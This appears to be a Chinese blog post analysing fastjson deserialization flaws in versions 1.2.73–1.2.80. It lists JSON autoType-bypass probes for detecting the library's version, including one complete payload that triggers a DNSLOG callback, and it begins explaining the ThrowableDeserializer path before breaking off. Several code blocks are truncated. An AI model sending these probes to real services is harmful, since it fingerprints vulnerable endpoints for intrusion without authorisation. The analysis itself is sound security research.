fastjson 1.2.73-1.2.80漏洞分析
1. 版本探测
结合之前1.2.24、1.2.47、1.2.68、1.2.80不同阶段对autoTypeSupport的绕过,整理如下检测版本的poc
- <=1.2.24
随便加载一个类,再使用Inet4Address
1 | { |
- 1.2.25 ~ 1.2.47
1 | [ |
1.2.48 ~ 1.2.68
1
2
3
4
5
6
7
8
9
10
11
12
13[
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.Inet4Address",
"val": "DNSLOG"
}
]1.2.69~1.2.80
- 如果版本为1.2.83,则 21.DNSLOG和22.DNSLOG的dns请求都会收到,如果版本<=1.2.80, 则只能收到第一个dnslog请求
1 | [ |
在1.2.80中,由于进入ThrowableDeserializer
反序列化工具类,当Key是message时,抛出异常;而1.2.83中修复了Throwable的相关问题,导致message的key不再具有特殊性,因此可以收到dnslog

- 1.2.83
1 | { |
2. ThrowableDeserializer
当指定@type
为java.lang.Exception
时,反序列化过程中会指定ThrowableDeserializer
为反序列化的工具类

接下来,在执行到 checkAutoType
方法时,因为传入了Throwable.class
作为 expectClass
,和1.2.68使用 AutoCloseable